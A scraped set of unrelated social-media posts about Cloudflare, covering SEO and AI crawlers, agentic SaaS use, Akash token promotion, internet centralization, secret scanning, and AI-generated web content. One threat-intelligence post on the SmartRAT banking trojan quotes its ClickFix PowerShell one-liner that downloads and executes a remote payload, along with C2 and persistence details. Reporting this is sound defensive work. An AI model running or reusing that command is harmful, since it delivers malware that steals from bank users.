  🟣 Underrated #TechSEO Tip GPTBot, ClaudeBot, and PerplexityBot all respect robots.txt. Block them and your content never appears in AI answers. Worth flagging that Perplexity's compliance has been disputed – Cloudflare found evidence they used undeclared crawlers to bypass robots.txt. I see site owners block these crawlers without realizing they killed an entire traffic channel. Check your robots.txt right now. Look for blanket `Disallow: /` rules targeting AI user agents. You might be invisible in AI search and not even know it.

  For all the talk there is on Saaspocalypse - this is a refreshing take by @danshipper . "Sasspocalypse is dumb" Earlier in the podcast he also talks about his experience using SaaS where more and more of it is being driven by utilizing Codex. I can related with this a lot, as now a lot of times I have Codex open in a specific browser page and I'm working with that app from within codex. IF they support MCP, then I connect MCP as the agent is more efficient by doing so. If they don't, I just let it check the UI view (the same way I do) take screenshot and then click/drag/hover around. It's been interesting to do work this way. It's like I'm looking above the shoulder a pro at something I don't know about - e.g. setting up a Cloudflare environment. Not just it's doing the task but I'm learning from it because I can see what is happening.

  Akash is processing 1.7 billion tokens every single day on openrouter right now outpacing cloudflare venice, elizaos, morpheus, gensyn all paying customers running real ai workloads on akash the narrative isn't that akash could become the decentralized aws. it's that it already is for a growing list of ai companies who need cheaper compute akash just launched homenode beta people with rtx 4090s and 5090s sitting at home can now connect their gpu to the network and earn from ai inference demand this changes the supply side completely instead of relying on 58 enterprise providers, the network starts pulling in consumer hardware globally more supply means more competitive pricing which means more demand which means more akt burned the things akash is building that most ct hasn't priced in yet virtual machines launching this quarter enterprise workloads that couldn't run on containers now can starcluster acquiring 7,200 nvidia gb200 gpus protocol-owned compute at hyperscale confidential computing via tee the feature enterprises require before migrating serious workloads $akt is at $0.62 the roadmap reads like a company that's two quarters away from being unignorable

  AI-generated ClickFix lure impersonates a Brazilian 🇧🇷 bank to drop SmartRAT, a PowerShell banking RAT with QR-swap, keylogging, and fake overlay capabilities. The C2 panel had no server-side auth. Key findings: - Full infection chain: typosquatting domain cartaobb[.]com mimics cartaobrb[.]com[.]br, fake Cloudflare CAPTCHA triggers clipboard injection, fake BSOD locks the browser, then victim pastes: powershell "$k8='hxxp://64[.]95[.]13[.]238/st.txt';iex(irm $k8)" into Run. Three-stage PowerShell dropper pulls payload[.]php, AES-CBC decrypts SmartRAT in memory. Hashes: st.txt 297eb45f028d44d750297d2f932b9c91, RAT b17ccdb5531555e43f082d6e77c07227. - SmartRAT (SMART_V25) persists as scheduled task or Windows service named MicrosoftEdgeUpdateCore (T1543.003), copies itself to %APPDATA%\Microsoft\Diagnosis\ETW\msedgeupdate.txt, logs all activity to C:\ProgramData\Microsoft\Diagnosis\ETW\client_debug.log and per-PID logs. - C2 at c[.]windowsupdate-cdn[.]com port 51888 (fallback 162[.]141[.]111[.]227), AES-CBC encrypted over raw TCP. QR-swap feature overlays attacker QR at exact pixel coordinates of the legitimate banking QR to redirect transactions. Monitors window titles for santander, bradesco, itau, nubank, binance, and a dozen more. - The C2 panel (branded MyGood PRO) bypasses auth by checking only localStorage values authToken and currentUser client-side with no server validation, exposing the full admin panel to anyone who sets those keys. #DFIR_Radar

  📌 The Illusion of Decentralization: Who Owns the Backbone of the Internet & AI in 2026? (Updated List) As you scroll daily, you might think you're navigating thousands of independent sites and apps. The reality? 90% of global data traffic flows through channels controlled by a select few. Here is who actually controls the world's digital backend: 1. The Cloud Big Three If these three companies went offline, half of the internet’s apps, banking systems, and aviation networks would vanish in seconds: * Amazon Web Services (AWS): Controls roughly a third of the entire global cloud market. It hosts giants like Netflix, Airbnb, and even highly sensitive government databases. * Microsoft Azure: The largest backbone for massive corporations, government institutions, and global digital identity systems. * Google Cloud: The third engine powering YouTube, massive big data research, and global startups. 2. The Gatekeepers These are the invisible shields you rarely see, but they control and protect your access to the internet: * Cloudflare: Manages and secures roughly 20-25% of all global web traffic. If Cloudflare goes down, half of the world's news outlets and crypto exchanges drop with it. * Akamai: The oldest and largest Content Delivery Network (CDN) in the world. They dictate how videos, live streams, and games reach billions of people without lagging. 3. The Hardware Monopoly Software is useless without processors, and this is where the greatest monopoly lies: * NVIDIA: Controls over 80% of the AI chip and data center GPU market. They essentially decide who has the compute power to train AI (like OpenAI and Meta) and who gets left behind. * TSMC (Taiwan Semiconductor): The Taiwanese giant that manufactures almost all the world's advanced chips for Apple, Nvidia, AMD, and Qualcomm. If TSMC stopped, the production of global smartphones and military hardware would freeze. 4. The Submarine Cables (Who Owns the Physical Internet?) The internet isn't in the sky (satellites only cover a tiny fraction). 99% of global data travels through cables at the bottom of the ocean: * SubCom & ASN: The two companies responsible for laying and maintaining most of the world's underwater fiber-optic cables. * The Big Tech Alliance: Today, Google, Meta, Microsoft, and Amazon have become the largest investors and tenants of these cables, meaning they now physically own the routes data takes between continents. 5. The Institutional Masters If you dig deep into the shares of every media, tech, aviation, and defense company globally, you will always find three names repeating as the top institutional investors: * BlackRock (Manages over $10 Trillion in assets). * Vanguard Group (Manages roughly $8 Trillion in assets). * State Street These funds don't run the companies day-to-day, but they hold massive voting power to dictate board members and the strategic direction of these giants (from Apple and Microsoft to oil and defense contractors). 💡 The Bottom Line: The internet is no longer the free, distributed network it was once touted to be. It has evolved into a highly centralized infrastructure where a few massive corporations and investment funds dictate what you see, what you hear, and how your data flows.

  Adding validity checks for Azure and Salesforce tokens is the real win in the latest secret scanning updates. Instead of chasing ghosts, devs can now see if a leaked credential is still active. But with 11 GitLab token types added and new blocks for Cloudflare, we are putting a lot of trust in automated regex. Are active validity checks actually enough to stop the leak crisis, or are we just treating the symptoms of a broken secret-management culture?

  If cloudflare is so buggy and easily broken or hacked, why the frell hasn't someone come up with a better system or solution?

  Everyone please don't fall for false advertising of @Cloudflare @CloudflareDev. They have several billing issues that you can find easily on reddit and their customer support is bad. I moved from GCP to Cloudflare and that was a terrible mistake. Got to move back now!

  The Dead Internet Theory was a conspiracy. The idea that the internet is no longer human. That bots and AI have quietly replaced real people. It started on anonymous message boards in 2019. Most people dismissed it. Stanford, Imperial College London, and the Internet Archive just measured it. They used the Wayback Machine to scan every new website published between 2022 and 2025. Thirty-three months of the internet, captured and classified. They applied one of the most advanced AI text detectors in the world to every page. 35.3% of all newly published websites were AI-generated or AI-assisted. 17.6% were completely AI-generated. No human involvement at all. In late 2022, before ChatGPT launched, that number was zero. In three years, more than a third of the new internet became synthetic. Not over decades. Not over a generation. Three years. Then they measured what that is doing to the internet itself. Semantic diversity is falling. The range of ideas, perspectives, and ways of saying things is narrowing. As AI content increases, the internet sounds more and more like one voice. Because it is one voice. The same models producing the same patterns across millions of pages. Positive sentiment is rising. Everything sounds upbeat. Polished. Confident. Helpful. The internet is getting friendlier while getting emptier. The tone improves as the substance disappears. The lead researcher, Jonáš Doležal at Imperial College London, said this to 404 Media: "I find the sheer speed of the AI takeover of the web quite staggering. After decades of humans shaping it, a significant portion of the internet has become defined by AI in just three years." Separately, Cloudflare reported that nearly a third of all internet traffic now comes from bots. Imperva reported that automated traffic surpassed human traffic for the first time in 2024. If you read my previous threads on Model Collapse and Retrieval Collapse, this is the final chapter. Model Collapse showed that AI trained on AI gets dumber. Retrieval Collapse showed that search engines indexing AI content get emptier. This paper shows the source of both problems. The internet itself is being replaced. The researchers are now working with the Internet Archive to build a live monitoring tool. A real-time tracker of how much of the internet is human and how much is not. The fact that we need a tool to measure how much of the internet is still real is the finding.

  @brivael You have these massive scripts CloudFlare many are connected to and collect ip:s and check if bots etc. - you could very well just go ip and block those that exist - yes, quite a few but can be done I think You do not need to go to a particular service, you vpn service has an ip.

  If you use CloudFlare — what feature you use the most? What do you like or don’t like about their service?
